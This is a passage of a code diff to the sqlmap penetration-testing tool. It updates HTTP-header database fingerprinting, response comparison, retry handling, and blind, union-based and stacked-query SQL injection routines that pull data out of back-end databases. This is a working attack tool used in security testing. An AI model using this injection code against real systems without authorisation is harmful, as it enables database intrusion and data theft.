self.__info[key] = value
else:
if key not in self.__info.keys():
self.__info[key] = set()
for v in value.split("|"):
self.__info[key].add(v)
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
if name == "info" and self.__match:
self.__feedInfo("type", attrs.get("type"))
self.__feedInfo("distrib", attrs.get("distrib"))
self.__feedInfo("release", attrs.get("release"))
self.__feedInfo("codename", attrs.get("codename"))
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
self.__sp = sanitizeStr(attrs.get("sp"))
if self.__dbmsVersion.isdigit():
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
if self.__techVersion.isdigit():
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
else:
self.__feedInfo("technology", attrs.get("technology"))
if self.__sp.isdigit():
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None

70
lib/parse/headers.py Normal file
View File

@@ -0,0 +1,70 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
from lib.core.common import checkFile
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
fingerprint the back-end database management system operating system
and the web application technology
"""
# It is enough to parse the headers on first four HTTP responses
if kb.headersCount > 3:
return
kb.headersCount += 1
topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
}
for header in headers:
if header in topHeaders.keys():
value = headers[header]
xmlfile = topHeaders[header]
checkFile(xmlfile)
handler = FingerprintHandler(value, kb.headersFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -31,6 +31,8 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
class htmlHandler(ContentHandler):
@@ -40,12 +42,12 @@ class htmlHandler(ContentHandler):
"""
def __init__(self, page):
self.__dbms = None
self.__page = page
self.__dbms = None
self.__page = page
self.__regexp = None
self.__match = None
self.__match = None
self.dbms = None
self.dbms = None
def startElement(self, name, attrs):
@@ -61,15 +63,19 @@ class htmlHandler(ContentHandler):
self.__match = None
def htmlParser(page, xmlfile):
def htmlParser(page):
"""
This function calls a class that parses the input HTML page to
fingerprint the back-end database management system
"""
xmlfile = paths.ERRORS_XML
checkFile(xmlfile)
page = sanitizeStr(page)
handler = htmlHandler(page)
parse(xmlfile, handler)
if handler.dbms and handler.dbms not in kb.htmlFp:
kb.htmlFp.append(handler.dbms)
return handler.dbms

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -95,10 +95,22 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring":
data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data
elif name == "case":
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "inference":
data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data
@@ -115,6 +127,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.currentDb = data
elif name == "is_dba":
data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data
elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2"))

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -29,6 +29,7 @@ import re
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
@@ -51,7 +52,7 @@ def forgeHeaders(cookie, ua):
return headers
def parsePage(page):
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
@@ -63,19 +64,17 @@ def parsePage(page):
like for DBMS error messages (ERRORS_XML), see above.
"""
if not page:
return
if headers:
headersParser(headers)
htmlParsed = htmlParser(page, paths.ERRORS_XML)
if page:
htmlParser(page)
if htmlParsed and htmlParsed not in kb.htmlFp:
kb.htmlFp.append(htmlParsed)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)

81
lib/request/comparison.py Normal file
View File

@@ -0,0 +1,81 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.data import conf
from lib.core.settings import MATCH_RATIO
def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
if conf.string in page:
return True
else:
return False
# Regular expression to match in page when the query is valid
if conf.regexp:
if re.search(conf.regexp, page, re.I | re.M):
return True
else:
return False
# By default it returns sequence matcher between the first untouched
# HTTP response page content and this content
conf.seqMatcher.set_seq2(page)
if getSeqMatcher:
return round(conf.seqMatcher.ratio(), 3)
elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:
return True
else:
return False

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -24,10 +24,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import md5
import httplib
import re
import socket
import time
import urllib2
import urlparse
import traceback
from lib.contrib import multipartpost
from lib.core.convert import urlencode
@@ -35,9 +38,10 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.settings import RETRIES
from lib.request.basic import forgeHeaders
from lib.request.basic import parsePage
from lib.request.basic import parseResponse
from lib.request.comparison import comparison
class Connect:
@@ -45,6 +49,12 @@ class Connect:
This class defines methods used to perform HTTP requests
"""
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
@staticmethod
def getPage(**kwargs):
"""
@@ -52,6 +62,9 @@ class Connect:
the target url page content
"""
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20")
get = kwargs.get('get', None)
post = kwargs.get('post', None)
@@ -60,6 +73,7 @@ class Connect:
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
page = ""
cookieStr = ""
requestMsg = "HTTP request:\n%s " % conf.method
responseMsg = "HTTP response "
@@ -82,6 +96,7 @@ class Connect:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
return page
else:
@@ -102,7 +117,9 @@ class Connect:
requestMsg += " HTTP/1.1"
if cookie:
cookie = urlencode(cookie).replace("%%", "%")
# TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try:
# Perform HTTP request
@@ -110,6 +127,9 @@ class Connect:
req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req)
# Reset the number of connection retries
conf.retries = 0
if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity"
@@ -156,19 +176,43 @@ class Connect:
status = e.msg
responseHeaders = e.info()
except urllib2.URLError, e:
warnMsg = "unable to connect to the target url"
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
tbMsg = traceback.format_exc()
if conf.googleDork:
if "URLError" in tbMsg or "error" in tbMsg:
warnMsg = "unable to connect to the target url"
elif "timeout" in tbMsg:
warnMsg = "connection timed out to the target url"
elif "BadStatusLine" in tbMsg:
warnMsg = "the target url responded with an unknown HTTP "
warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a"
if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy"
if conf.multipleTargets:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
return None
return None, None
if conf.retries < RETRIES:
conf.retries += 1
warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg)
time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
else:
warnMsg += " or proxy"
raise sqlmapConnectionException, warnMsg
parsePage(page)
parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code)
if conf.verbose <= 4:
@@ -178,11 +222,11 @@ class Connect:
logger.log(8, responseMsg)
return page
return page, responseHeaders
@staticmethod
def queryPage(value=None, place=None, content=False):
def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
@@ -221,14 +265,11 @@ class Connect:
else:
ua = conf.parameters["User-Agent"]
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
if content:
return page
elif conf.string:
if conf.string in page:
return True
else:
return False
return page, headers
elif page:
return comparison(page, headers, getSeqMatcher)
else:
return md5.new(page).hexdigest()
return False

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -31,6 +31,7 @@ from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
@@ -38,22 +39,16 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection
from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __getFieldsProxy(expression):
_, _, _, expressionFields = agent.getFields(expression)
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
def __goInference(payload, expression):
start = time.time()
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
@@ -65,19 +60,35 @@ def __goInference(payload, expression):
count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start)
if conf.eta and length:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
outputs = []
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
expressionReplaced = expression.replace(expressionFields, field, 1)
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
@@ -88,6 +99,9 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
output = __goInference(payload, expressionReplaced)
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
@@ -100,7 +114,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(temp.inference)
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
@@ -117,7 +131,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return output
if kb.dbmsDetected:
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
@@ -133,8 +147,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp:
if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
@@ -145,7 +160,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
elif kb.dbms == "Microsoft SQL Server":
if limitRegExp:
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False
else:
limitCond = True
@@ -164,12 +194,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "does the SQL query that you provide might "
message += "return multiple entries? [Y/n] "
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
@@ -187,11 +220,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0:
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query that you provide can "
message += "return up to %d entries. How many " % count
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
@@ -229,51 +262,31 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = expression
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
outputs.append(output)
return outputs
@@ -284,6 +297,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
@@ -296,7 +310,6 @@ def __goInband(expression, expected=None):
injection vulnerability on the affected parameter.
"""
counter = None
output = None
partial = False
data = []
@@ -313,49 +326,10 @@ def __goInband(expression, expected=None):
partial = True
if not output:
output = unionUse(expression)
fields = expression.split(",")
counter = len(fields)
output = unionUse(expression, resetCounter=True)
if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
data = parseUnionPage(output, expression, partial, condition)
return data
@@ -370,12 +344,39 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression)
value = None
value = None
if inband and conf.unionUse and kb.dbms:
if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)
return value
def goStacked(expression):
"""
TODO: write description
"""
expression = cleanQuery(expression)
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True)
return payload, page

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import threading
import time
import traceback
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
@@ -34,7 +35,10 @@ from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapThreadException
from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
@@ -46,13 +50,16 @@ def bisection(payload, expression, length=None):
on an affected host
"""
partialValue = ""
finalValue = ""
if kb.dbmsDetected:
_, _, _, fieldToCast = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCast)
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg)
@@ -90,18 +97,17 @@ def bisection(payload, expression, length=None):
while (maxValue - minValue) != 1:
queriesCount[0] += 1
limit = ((maxValue + minValue) / 2)
limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit)
result = Request.queryPage(forgedPayload)
result = Request.queryPage(forgedPayload)
if result == kb.defaultResult:
if result == True:
minValue = limit
else:
maxValue = limit
if (maxValue - minValue) == 1:
# NOTE: this first condition should never occur
if maxValue == 1:
return None
else:
@@ -145,7 +151,7 @@ def bisection(payload, expression, length=None):
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
@@ -157,9 +163,38 @@ def bisection(payload, expression, length=None):
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
conf.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
conf.threadException = True
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
# Start the threads
for _ in range(numThreads):
thread = threading.Thread(target=downloadThread)
for numThread in range(numThreads):
thread = threading.Thread(target=downloadThreadProxy(numThread))
thread.start()
threads.append(thread)
@@ -167,19 +202,27 @@ def bisection(payload, expression, length=None):
for thread in threads:
thread.join()
assert None not in value
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, str) and v != None:
partialValue += v
value = "".join(value)
if partialValue:
finalValue = partialValue
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
assert index[0] == length
if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
dataToSessionFile(replaceNewlineTabs(value))
if conf.verbose in ( 1, 2 ) and not showEta:
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
dataToStdout(infoMsg)
else:
value = ""
index = 0
while True:
@@ -190,7 +233,7 @@ def bisection(payload, expression, length=None):
if val == None:
break
value += val
finalValue += val
dataToSessionFile(replaceNewlineTabs(val))
@@ -203,9 +246,13 @@ def bisection(payload, expression, length=None):
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % value
infoMsg = "retrieved: %s" % finalValue
logger.info(infoMsg)
dataToSessionFile("]\n")
if not partialValue:
dataToSessionFile("]\n")
return queriesCount[0], value
if conf.threadException:
raise sqlmapThreadException, "something unexpected happen into the threads"
return queriesCount[0], finalValue

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
